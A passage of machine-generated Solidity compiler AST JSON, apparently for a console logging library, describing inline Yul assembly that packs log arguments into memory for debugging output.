Type":"YulLiteral","src":"219555:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"219549:5:22","nodeType":"YulIdentifier","src":"219549:5:22"},"nativeSrc":"219549:11:22","nodeType":"YulFunctionCall","src":"219549:11:22"},"variableNames":[{"name":"m5","nativeSrc":"219543:2:22","nodeType":"YulIdentifier","src":"219543:2:22"}]},{"nativeSrc":"219573:17:22","nodeType":"YulAssignment","src":"219573:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"219585:4:22","nodeType":"YulLiteral","src":"219585:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"219579:5:22","nodeType":"YulIdentifier","src":"219579:5:22"},"nativeSrc":"219579:11:22","nodeType":"YulFunctionCall","src":"219579:11:22"},"variableNames":[{"name":"m6","nativeSrc":"219573:2:22","nodeType":"YulIdentifier","src":"219573:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"219670:4:22","nodeType":"YulLiteral","src":"219670:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"219676:10:22","nodeType":"YulLiteral","src":"219676:10:22","type":"","value":"0x6b0e5d53"}],"functionName":{"name":"mstore","nativeSrc":"219663:6:22","nodeType":"YulIdentifier","src":"219663:6:22"},"nativeSrc":"219663:24:22","nodeType":"YulFunctionCall","src":"219663:24:22"},"nativeSrc":"219663:24:22","nodeType":"YulExpressionStatement","src":"219663:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"219707:4:22","nodeType":"YulLiteral","src":"219707:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"219713:2:22","nodeType":"YulIdentifier","src":"219713:2:22"}],"functionName":{"name":"mstore","nativeSrc":"219700:6:22","nodeType":"YulIdentifier","src":"219700:6:22"},"nativeSrc":"219700:16:22","nodeType":"YulFunctionCall","src":"219700:16:22"},"nativeSrc":"219700:16:22","nodeType":"YulExpressionStatement","src":"219700:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"219736:4:22","nodeType":"YulLiteral","src":"219736:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"219742:4:22","nodeType":"YulLiteral","src":"219742:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"219729:6:22","nodeType":"YulIdentifier","src":"219729:6:22"},"nativeSrc":"219729:18:22","nodeType":"YulFunctionCall","src":"219729:18:22"},"nativeSrc":"219729:18:22","nodeType":"YulExpressionStatement","src":"219729:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"219767:4:22","nodeType":"YulLiteral","src":"219767:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"219773:2:22","nodeType":"YulIdentifier","src":"219773:2:22"}],"functionName":{"name":"mstore","nativeSrc":"219760:6:22","nodeType":"YulIdentifier","src":"219760:6:22"},"nativeSrc":"219760:16:22","nodeType":"YulFunctionCall","src":"219760:16:22"},"nativeSrc":"219760:16:22","nodeType":"YulExpressionStatement","src":"219760:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"219796:4:22","nodeType":"YulLiteral","src":"219796:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"219802:2:22","nodeType":"YulIdentifier","src":"219802:2:22"}],"functionName":{"name":"mstore","nativeSrc":"219789:6:22","nodeType":"YulIdentifier","src":"219789:6:22"},"nativeSrc":"219789:16:22","nodeType":"YulFunctionCall","src":"219789:16:22"},"nativeSrc":"219789:16:22","nodeType":"YulExpressionStatement","src":"219789:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"219830:4:22","nodeType":"YulLiteral","src":"219830:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"219836:2:22","nodeType":"YulIdentifier","src":"219836:2:22"}],"functionName":{"name":"writeString","nativeSrc":"219818:11:22","nodeType":"YulIdentifier","src":"219818:11:22"},"nativeSrc":"219818:21:22","nodeType":"YulFunctionCall","src":"219818:21:22"},"nativeSrc":"219818:21:22","nodeType":"YulExpressionStatement","src":"219818:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40970,"isOffset":false,"isSlot":false,"src":"219393:2:22","valueSize":1},{"declaration":40973,"isOffset":false,"isSlot":false,"src":"219423:2:22","valueSize":1},{"declaration":40976,"isOffset":false,"isSlot":false,"src":"219453:2:22","valueSize":1},{"declaration":40979,"isOffset":false,"isSlot":false,"src":"219483:2:22","valueSize":1},{"declaration":40982,"isOffset":false,"isSlot":false,"src":"219513:2:22","valueSize":1},{"declaration":40985,"isOffset":false,"isSlot":false,"src":"219543:2:22","valueSize":1},{"declaration":40988,"isOffset":false,"isSlot":false,"src":"219573:2:22","valueSize":1},{"declaration":40960,"isOffset":false,"isSlot":false,"src":"219713:2:22","valueSize":1},{"declaration":40962,"isOffset":false,"isSlot":false,"src":"219836:2:22","valueSize":1},{"declaration":40964,"isOffset":false,"isSlot":false,"src":"219773:2:22","valueSize":1},{"declaration":40966,"isOffset":false,"isSlot":false,"src":"219802:2:22","valueSize":1}],"id":40990,"nodeType":"InlineAssembly","src":"219015:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40992,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"219874:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40993,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"219880:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40991,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"219858:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"219858:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40995,"nodeType":"ExpressionStatement","src":"219858:27:22"},{"AST":{"nativeSrc":"219904:214:22","nodeType":"YulBlock","src":"219904:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"219925:4:22","nodeType":"YulLiteral","src":"219925:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"219931:2:22","nodeType":"YulIdentifier","src":"219931:2:22"}],"functionName":{"name":"mstore","nativeSrc":"219918:6:22","nodeType":"YulIdentifier","src":"219918:6:22"},"nativeSrc":"219918:16:22","nodeType":"YulFunctionCall","src":"219918:16:22"},"nativeSrc":"219918:16:22","nodeType":"YulExpressionStatement","src":"219918:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"219954:4:22","nodeType":"YulLiteral","src":"219954:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"219960:2:22","nodeType":"YulIdentifier","src":"219960:2:22"}],"functionName":{"name":"mstore","nativeSrc":"219947:6:22","nodeType":"YulIdentifier","src":"219947:6:22"},"nativeSrc":"219947:16:22","nodeType":"YulFunctionCall","src":"219947:16:22"},"nativeSrc":"219947:16:22","nodeType":"YulExpressionStatement","src":"219947:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"219983:4:22","nodeType":"YulLiteral","src":"219983:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"219989:2:22","nodeType":"YulIdentifier","src":"219989:2:22"}],"functionName":{"name":"mstore","nativeSrc":"219976:6:22","nodeType":"YulIdentifier","src":"219976:6:22"},"nativeSrc":"219976:16:22","nodeType":"YulFunctionCall","src":"219976:16:22"},"nativeSrc":"219976:16:22","nodeType":"YulExpressionStatement","src":"219976:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"220012:4:22","nodeType":"YulLiteral","src":"220012:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"220018:2:22","nodeType":"YulIdentifier","src":"220018:2:22"}],"functionName":{"name":"mstore","nativeSrc":"220005:6:22","nodeType":"YulIdentifier","src":"220005:6:22"},"nativeSrc":"220005:16:22","nodeType":"YulFunctionCall","src":"220005:16:22"},"nativeSrc":"220005:16:22","nodeType":"YulExpressionStatement","src":"220005:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"220041:4:22","nodeType":"YulLiteral","src":"220041:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"220047:2:22","nodeType":"YulIdentifier","src":"220047:2:22"}],"functionName":{"name":"mstore","nativeSrc":"220034:6:22","nodeType":"YulIdentifier","src":"220034:6:22"},"nativeSrc":"220034:16:22","nodeType":"YulFunctionCall","src":"220034:16:22"},"nativeSrc":"220034:16:22","nodeType":"YulExpressionStatement","src":"220034:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"220070:4:22","nodeType":"YulLiteral","src":"220070:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"220076:2:22","nodeType":"YulIdentifier","src":"220076:2:22"}],"functionName":{"name":"mstore","nativeSrc":"220063:6:22","nodeType":"YulIdentifier","src":"220063:6:22"},"nativeSrc":"220063:16:22","nodeType":"YulFunctionCall","src":"220063:16:22"},"nativeSrc":"220063:16:22","nodeType":"YulExpressionStatement","src":"220063:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"220099:4:22","nodeType":"YulLiteral","src":"220099:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"220105:2:22","nodeType":"YulIdentifier","src":"220105:2:22"}],"functionName":{"name":"mstore","nativeSrc":"220092:6:22","nodeType":"YulIdentifier","src":"220092:6:22"},"nativeSrc":"220092:16:22","nodeType":"YulFunctionCall","src":"220092:16:22"},"nativeSrc":"220092:16:22","nodeType":"YulExpressionStatement","src":"220092:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40970,"isOffset":false,"isSlot":false,"src":"219931:2:22","valueSize":1},{"declaration":40973,"isOffset":false,"isSlot":false,"src":"219960:2:22","valueSize":1},{"declaration":40976,"isOffset":false,"isSlot":false,"src":"219989:2:22","valueSize":1},{"declaration":40979,"isOffset":false,"isSlot":false,"src":"220018:2:22","valueSize":1},{"declaration":40982,"isOffset":false,"isSlot":false,"src":"220047:2:22","valueSize":1},{"declaration":40985,"isOffset":false,"isSlot":false,"src":"220076:2:22","valueSize":1},{"declaration":40988,"isOffset":false,"isSlot":false,"src":"220105:2:22","valueSize":1}],"id":40996,"nodeType":"InlineAssembly","src":"219895:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"218805:3:22","parameters":{"id":40967,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40960,"mutability":"mutable","name":"p0","nameLocation":"218814:2:22","nodeType":"VariableDeclaration","scope":40998,"src":"218809:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40959,"name":"bool","nodeType":"ElementaryTypeName","src":"218809:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40962,"mutability":"mutable","name":"p1","nameLocation":"218826:2:22","nodeType":"VariableDeclaration","scope":40998,"src":"218818:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40961,"name":"bytes32","nodeType":"ElementaryTypeName","src":"218818:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40964,"mutability":"mutable","name":"p2","nameLocation":"218838:2:22","nodeType":"VariableDeclaration","scope":40998,"src":"218830:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40963,"name":"uint256","nodeType":"ElementaryTypeName","src":"218830:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40966,"mutability":"mutable","name":"p3","nameLocation":"218847:2:22","nodeType":"VariableDeclaration","scope":40998,"src":"218842:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40965,"name":"bool","nodeType":"ElementaryTypeName","src":"218842:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"218808:42:22"},"returnParameters":{"id":40968,"nodeType":"ParameterList","parameters":[],"src":"218865:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41038,"nodeType":"FunctionDefinition","src":"220130:1334:22","nodes":[],"body":{"id":41037,"nodeType":"Block","src":"220202:1262:22","nodes":[],"statements":[{"assignments":[41010],"declarations":[{"constant":false,"id":41010,"mutability":"mutable","name":"m0","nameLocation":"220220:2:22","nodeType":"VariableDeclaration","scope":41037,"src":"220212:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41009,"name":"bytes32","nodeType":"ElementaryTypeName","src":"220212:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41011,"nodeType":"VariableDeclarationStatement","src":"220212:10:22"},{"assignments":[41013],"declarations":[{"constant":false,"id":41013,"mutability":"mutable","name":"m1","nameLocation":"220240:2:22","nodeType":"VariableDeclaration","scope":41037,"src":"220232:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41012,"name":"bytes32","nodeType":"ElementaryTypeName","src":"220232:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41014,"nodeType":"VariableDeclarationStatement","src":"220232:10:22"},{"assignments":[41016],"declarations":[{"constant":false,"id":41016,"mutability":"mutable","name":"m2","nameLocation":"220260:2:22","nodeType":"VariableDeclaration","scope":41037,"src":"220252:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41015,"name":"bytes32","nodeType":"ElementaryTypeName","src":"220252:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41017,"nodeType":"VariableDeclarationStatement","src":"220252:10:22"},{"assignments":[41019],"declarations":[{"constant":false,"id":41019,"mutability":"mutable","name":"m3","nameLocation":"220280:2:22","nodeType":"VariableDeclaration","scope":41037,"src":"220272:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41018,"name":"bytes32","nodeType":"ElementaryTypeName","src":"220272:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41020,"nodeType":"VariableDeclarationStatement","src":"220272:10:22"},{"assignments":[41022],"declarations":[{"constant":false,"id":41022,"mutability":"mutable","name":"m4","nameLocation":"220300:2:22","nodeType":"VariableDeclaration","scope":41037,"src":"220292:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41021,"name":"bytes32","nodeType":"ElementaryTypeName","src":"220292:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41023,"nodeType":"VariableDeclarationStatement","src":"220292:10:22"},{"assignments":[41025],"declarations":[{"constant":false,"id":41025,"mutability":"mutable","name":"m5","nameLocation":"220320:2:22","nodeType":"VariableDeclaration","scope":41037,"src":"220312:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41024,"name":"bytes32","nodeType":"ElementaryTypeName","src":"220312:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41026,"nodeType":"VariableDeclarationStatement","src":"220312:10:22"},{"assignments":[41028],"declarations":[{"constant":false,"id":41028,"mutability":"mutable","name":"m6","nameLocation":"220340:2:22","nodeType":"VariableDeclaration","scope":41037,"src":"220332:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41027,"name":"bytes32","nodeType":"ElementaryTypeName","src":"220332:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41029,"nodeType":"VariableDeclarationStatement","src":"220332:10:22"},{"AST":{"nativeSrc":"220361:828:22","nodeType":"YulBlock","src":"220361:828:22","statements":[{"body":{"nativeSrc":"220404:313:22","nodeType":"YulBlock","src":"220404:313:22","statements":[{"nativeSrc":"220422:15:22","nodeType":"YulVariableDeclaration","src":"220422:15:22","value":{"kind":"number","nativeSrc":"220436:1:22","nodeType":"YulLiteral","src":"220436:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"220426:6:22","nodeType":"YulTypedName","src":"220426:6:22","type":""}]},{"body":{"nativeSrc":"220507:40:22","nodeType":"YulBlock","src":"220507:40:22","statements":[{"body":{"nativeSrc":"220536:9:22","nodeType":"YulBlock","src":"220536:9:22","statements":[{"nativeSrc":"220538:5:22","nodeType":"YulBreak","src":"220538:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"220524:6:22","nodeType":"YulIdentifier","src":"220524:6:22"},{"name":"w","nativeSrc":"220532:1:22","nodeType":"YulIdentifier","src":"220532:1:22"}],"functionName":{"name":"byte","nativeSrc":"220519:4:22","nodeType":"YulIdentifier","src":"220519:4:22"},"nativeSrc":"220519:15:22","nodeType":"YulFunctionCall","src":"220519:15:22"}],"functionName":{"name":"iszero","nativeSrc":"220512:6:22","nodeType":"YulIdentifier","src":"220512:6:22"},"nativeSrc":"220512:23:22","nodeType":"YulFunctionCall","src":"220512:23:22"},"nativeSrc":"220509:36:22","nodeType":"YulIf","src":"220509:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"220464:6:22","nodeType":"YulIdentifier","src":"220464:6:22"},{"kind":"number","nativeSrc":"220472:4:22","nodeType":"YulLiteral","src":"220472:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"220461:2:22","nodeType":"YulIdentifier","src":"220461:2:22"},"nativeSrc":"220461:16:22","nodeType":"YulFunctionCall","src":"220461:16:22"},"nativeSrc":"220454:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"220478:28:22","nodeType":"YulBlock","src":"220478:28:22","statements":[{"nativeSrc":"220480:24:22","nodeType":"YulAssignment","src":"220480:24:22","value":{"arguments":[{"name":"length","nativeSrc":"220494:6:22","nodeType":"YulIdentifier","src":"220494:6:22"},{"kind":"number","nativeSrc":"220502:1:22","nodeType":"YulLiteral","src":"220502:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"220490:3:22","nodeType":"YulIdentifier","src":"220490:3:22"},"nativeSrc":"220490:14:22","nodeType":"YulFunctionCall","src":"220490:14:22"},"variableNames":[{"name":"length","nativeSrc":"220480:6:22","nodeType":"YulIdentifier","src":"220480:6:22"}]}]},"pre":{"nativeSrc":"220458:2:22","nodeType":"YulBlock","src":"220458:2:22","statements":[]},"src":"220454:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"220571:3:22","nodeType":"YulIdentifier","src":"220571:3:22"},{"name":"length","nativeSrc":"220576:6:22","nodeType":"YulIdentifier","src":"220576:6:22"}],"functionName":{"name":"mstore","nativeSrc":"220564:6:22","nodeType":"YulIdentifier","src":"220564:6:22"},"nativeSrc":"220564:19:22","nodeType":"YulFunctionCall","src":"220564:19:22"},"nativeSrc":"220564:19:22","nodeType":"YulExpressionStatement","src":"220564:19:22"},{"nativeSrc":"220600:37:22","nodeType":"YulVariableDeclaration","src":"220600:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"220617:3:22","nodeType":"YulLiteral","src":"220617:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"220626:1:22","nodeType":"YulLiteral","src":"220626:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"220629:6:22","nodeType":"YulIdentifier","src":"220629:6:22"}],"functionName":{"name":"shl","nativeSrc":"220622:3:22","nodeType":"YulIdentifier","src":"220622:3:22"},"nativeSrc":"220622:14:22","nodeType":"YulFunctionCall","src":"220622:14:22"}],"functionName":{"name":"sub","nativeSrc":"220613:3:22","nodeType":"YulIdentifier","src":"220613:3:22"},"nativeSrc":"220613:24:22","nodeType":"YulFunctionCall","src":"220613:24:22"},"variables":[{"name":"shift","nativeSrc":"220604:5:22","nodeType":"YulTypedName","src":"220604:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"220665:3:22","nodeType":"YulIdentifier","src":"220665:3:22"},{"kind":"number","nativeSrc":"220670:4:22","nodeType":"YulLiteral","src":"220670:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"220661:3:22","nodeType":"YulIdentifier","src":"220661:3:22"},"nativeSrc":"220661:14:22","nodeType":"YulFunctionCall","src":"220661:14:22"},{"arguments":[{"name":"shift","nativeSrc":"220681:5:22","nodeType":"YulIdentifier","src":"220681:5:22"},{"arguments":[{"name":"shift","nativeSrc":"220692:5:22","nodeType":"YulIdentifier","src":"220692:5:22"},{"name":"w","nativeSrc":"220699:1:22","nodeType":"YulIdentifier","src":"220699:1:22"}],"functionName":{"name":"shr","nativeSrc":"220688:3:22","nodeType":"YulIdentifier","src":"220688:3:22"},"nativeSrc":"220688:13:22","nodeType":"YulFunctionCall","src":"220688:13:22"}],"functionName":{"name":"shl","nativeSrc":"220677:3:22","nodeType":"YulIdentifier","src":"220677:3:22"},"nativeSrc":"220677:25:22","nodeType":"YulFunctionCall","src":"220677:25:22"}],"functionName":{"name":"mstore","nativeSrc":"220654:6:22","nodeType":"YulIdentifier","src":"220654:6:22"},"nativeSrc":"220654:49:22","nodeType":"YulFunctionCall","src":"220654:49:22"},"nativeSrc":"220654:49:22","nodeType":"YulExpressionStatement","src":"220654:49:22"}]},"name":"writeString","nativeSrc":"220375:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"220396:3:22","nodeType":"YulTypedName","src":"220396:3:22","type":""},{"name":"w","nativeSrc":"220401:1:22","nodeType":"YulTypedName","src":"220401:1:22","type":""}],"src":"220375:342:22"},{"nativeSrc":"220730:17:22","nodeType":"YulAssignment","src":"220730:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"220742:4:22","nodeType":"YulLiteral","src":"220742:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"220736:5:22","nodeType":"YulIdentifier","src":"220736:5:22"},"nativeSrc":"220736:11:22","nodeType":"YulFunctionCall","src":"220736:11:22"},"variableNames":[{"name":"m0","nativeSrc":"220730:2:22","nodeType":"YulIdentifier","src":"220730:2:22"}]},{"nativeSrc":"220760:17:22","nodeType":"YulAssignment","src":"220760:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"220772:4:22","nodeType":"YulLiteral","src":"220772:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"220766:5:22","nodeType":"YulIdentifier","src":"220766:5:22"},"nativeSrc":"220766:11:22","nodeType":"YulFunctionCall","src":"220766:11:22"},"variableNames":[{"name":"m1","nativeSrc":"220760:2:22","nodeType":"YulIdentifier","src":"220760:2:22"}]},{"nativeSrc":"220790:17:22","nodeType":"YulAssignment","src":"220790:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"220802:4:22","nodeType":"YulLiteral","src":"220802:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"220796:5:22","nodeType":"YulIdentifier","src":"220796:5:22"},"nativeSrc":"220796:11:22","nodeType":"YulFunctionCall","src":"220796:11:22"},"variableNames":[{"name":"m2","nativeSrc":"220790:2:22","nodeType":"YulIdentifier","src":"220790:2:22"}]},{"nativeSrc":"220820:17:22","nodeType":"YulAssignment","src":"220820:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"220832:4:22","nodeType":"YulLiteral","src":"220832:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"220826:5:22","nodeType":"YulIdentifier","src":"220826:5:22"},"nativeSrc":"220826:11:22","nodeType":"YulFunctionCall","src":"220826:11:22"},"variableNames":[{"name":"m3","nativeSrc":"220820:2:22","nodeType":"YulIdentifier","src":"220820:2:22"}]},{"nativeSrc":"220850:17:22","nodeType":"YulAssignment","src":"220850:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"220862:4:22","nodeType":"YulLiteral","src":"220862:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"220856:5:22","nodeType":"YulIdentifier","src":"220856:5:22"},"nativeSrc":"220856:11:22","nodeType":"YulFunctionCall","src":"220856:11:22"},"variableNames":[{"name":"m4","nativeSrc":"220850:2:22","nodeType":"YulIdentifier","src":"220850:2:22"}]},{"nativeSrc":"220880:17:22","nodeType":"YulAssignment","src":"220880:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"220892:4:22","nodeType":"YulLiteral","src":"220892:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"220886:5:22","nodeType":"YulIdentifier","src":"220886:5:22"},"nativeSrc":"220886:11:22","nodeType":"YulFunctionCall","src":"220886:11:22"},"variableNames":[{"name":"m5","nativeSrc":"220880:2:22","nodeType":"YulIdentifier","src":"220880:2:22"}]},{"nativeSrc":"220910:17:22","nodeType":"YulAssignment","src":"220910:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"220922:4:22","nodeType":"YulLiteral","src":"220922:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"220916:5:22","nodeType":"YulIdentifier","src":"220916:5:22"},"nativeSrc":"220916:11:22","nodeType":"YulFunctionCall","src":"220916:11:22"},"variableNames":[{"name":"m6","nativeSrc":"220910:2:22","nodeType":"YulIdentifier","src":"220910:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221010:4:22","nodeType":"YulLiteral","src":"221010:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"221016:10:22","nodeType":"YulLiteral","src":"221016:10:22","type":"","value":"0x28863fcb"}],"functionName":{"name":"mstore","nativeSrc":"221003:6:22","nodeType":"YulIdentifier","src":"221003:6:22"},"nativeSrc":"221003:24:22","nodeType":"YulFunctionCall","src":"221003:24:22"},"nativeSrc":"221003:24:22","nodeType":"YulExpressionStatement","src":"221003:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221047:4:22","nodeType":"YulLiteral","src":"221047:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"221053:2:22","nodeType":"YulIdentifier","src":"221053:2:22"}],"functionName":{"name":"mstore","nativeSrc":"221040:6:22","nodeType":"YulIdentifier","src":"221040:6:22"},"nativeSrc":"221040:16:22","nodeType":"YulFunctionCall","src":"221040:16:22"},"nativeSrc":"221040:16:22","nodeType":"YulExpressionStatement","src":"221040:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221076:4:22","nodeType":"YulLiteral","src":"221076:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"221082:4:22","nodeType":"YulLiteral","src":"221082:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"221069:6:22","nodeType":"YulIdentifier","src":"221069:6:22"},"nativeSrc":"221069:18:22","nodeType":"YulFunctionCall","src":"221069:18:22"},"nativeSrc":"221069:18:22","nodeType":"YulExpressionStatement","src":"221069:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221107:4:22","nodeType":"YulLiteral","src":"221107:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"221113:2:22","nodeType":"YulIdentifier","src":"221113:2:22"}],"functionName":{"name":"mstore","nativeSrc":"221100:6:22","nodeType":"YulIdentifier","src":"221100:6:22"},"nativeSrc":"221100:16:22","nodeType":"YulFunctionCall","src":"221100:16:22"},"nativeSrc":"221100:16:22","nodeType":"YulExpressionStatement","src":"221100:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221136:4:22","nodeType":"YulLiteral","src":"221136:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"221142:2:22","nodeType":"YulIdentifier","src":"221142:2:22"}],"functionName":{"name":"mstore","nativeSrc":"221129:6:22","nodeType":"YulIdentifier","src":"221129:6:22"},"nativeSrc":"221129:16:22","nodeType":"YulFunctionCall","src":"221129:16:22"},"nativeSrc":"221129:16:22","nodeType":"YulExpressionStatement","src":"221129:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221170:4:22","nodeType":"YulLiteral","src":"221170:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"221176:2:22","nodeType":"YulIdentifier","src":"221176:2:22"}],"functionName":{"name":"writeString","nativeSrc":"221158:11:22","nodeType":"YulIdentifier","src":"221158:11:22"},"nativeSrc":"221158:21:22","nodeType":"YulFunctionCall","src":"221158:21:22"},"nativeSrc":"221158:21:22","nodeType":"YulExpressionStatement","src":"221158:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41010,"isOffset":false,"isSlot":false,"src":"220730:2:22","valueSize":1},{"declaration":41013,"isOffset":false,"isSlot":false,"src":"220760:2:22","valueSize":1},{"declaration":41016,"isOffset":false,"isSlot":false,"src":"220790:2:22","valueSi